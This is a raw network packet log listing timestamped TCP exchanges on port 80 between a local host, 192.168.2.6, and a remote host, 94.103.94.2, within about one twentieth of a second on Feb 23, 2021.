Feb 23, 2021 10:04:53.586843967 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586865902 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586891890 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586915016 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586922884 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586941004 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586952925 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586966038 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586991072 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587018967 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587023020 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587044001 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587052107 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587071896 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587095976 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587117910 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587119102 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587141991 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587160110 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587166071 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587189913 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587205887 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587214947 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587239981 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587253094 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587269068 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587308884 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587336063 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587363958 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587385893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587404966 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587409973 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587436914 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587446928 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587459087 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587482929 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587500095 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587507010 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587534904 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587544918 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587562084 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587585926 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587596893 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587620974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587646961 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587657928 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587671995 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587701082 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587712049 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587724924 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587748051 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587760925 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587774038 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587795973 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587810993 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587820053 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587843895 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587857008 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587868929 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587894917 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587907076 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587920904 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587945938 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587958097 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.587971926 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.587996006 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588004112 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588020086 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588042974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588052988 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588068008 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588093996 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588104963 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588118076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588141918 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588157892 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588169098 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588192940 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588212013 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588217020 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588243008 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588255882 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588267088 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588295937 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588305950 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588321924 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588346958 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588361025 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588371992 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588393927 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588407040 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588418961 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588443041 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588459015 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588466883 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588495016 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588505983 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588520050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588545084 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588557005 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588571072 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588597059 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588613033 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588620901 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588645935 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588660002 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588670969 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588699102 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588709116 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588723898 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588747025 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588757992 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.588772058 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588795900 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.588809013 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.589632988 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.590172052 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.590213060 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.590255022 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.593745947 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.593782902 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.593803883 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.593827963 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.593852043 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.593873024 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.593875885 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.593902111 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.593904018 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.593931913 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.593939066 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.593957901 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.593959093 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.593985081 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.593997955 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594010115 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594034910 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594055891 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594079971 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594093084 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594099998 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594105005 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594132900 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594141960 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594158888 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594182014 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594193935 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594207048 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594232082 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594242096 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594255924 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594281912 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594290018 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594306946 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594335079 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594341993 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594362020 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594384909 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594394922 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594418049 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594443083 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594450951 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594466925 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594491005 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594501972 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594516039 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594546080 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594558954 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594572067 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594595909 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594604969 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594620943 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594645023 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594654083 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594669104 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594695091 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594702959 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594722033 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594744921 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594755888 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594769955 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594794035 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594804049 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.594818115 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.594850063 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.597306967 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.597877979 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.598484039 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.598522902 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.598548889 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.598562956 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.601752043 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.632761955 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.632807016 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.632831097 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.632853031 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.632875919 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.632898092 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.632920027 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.632930994 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.633022070 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.637204885 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637252092 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637279987 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637305975 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637331009 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637356997 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637362957 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.637398958 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637403965 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.637435913 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637463093 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637486935 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637511969 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637535095 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637537003 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.637561083 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637584925 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637599945 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.637608051 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637636900 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.637638092 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637664080 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637685061 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637706041 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637716055 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.637732029 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637757063 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637774944 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.637780905 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637806892 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637814999 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.637835026 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637859106 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.637861013 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637886047 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637907982 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.637911081 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637938023 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637945890 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.637962103 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.637986898 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638009071 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638010979 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638040066 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638067007 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638077021 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638091087 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638115883 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638128996 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638139963 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638165951 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638174057 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638191938 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638219118 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638220072 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638247967 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638263941 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638273954 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638299942 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638310909 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638325930 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638351917 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638372898 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638377905 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638403893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638427973 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638443947 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638457060 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638480902 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638482094 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638505936 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638516903 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638530016 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638555050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638573885 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638580084 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638605118 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638628960 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638637066 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638657093 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638681889 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638705015 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638729095 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638732910 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638753891 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638765097 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638777018 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638799906 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638812065 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638823986 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638849974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638858080 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638876915 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638900042 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638906956 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638923883 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638947964 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638951063 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.638971090 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.638995886 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639003038 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639022112 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639050007 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639050007 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639074087 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639097929 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639105082 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639121056 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639147043 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639153957 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639169931 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639194965 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639199972 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639219046 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639246941 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639246941 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639275074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639287949 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639297009 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639321089 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639344931 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639367104 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639374971 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639390945 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639415026 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639442921 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639442921 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639470100 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639488935 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639492989 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639518976 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639538050 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639543056 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639569998 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639585972 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639651060 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639677048 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639700890 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639705896 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639724970 CET	80	49774	94.103.94.2	192.168.2.6
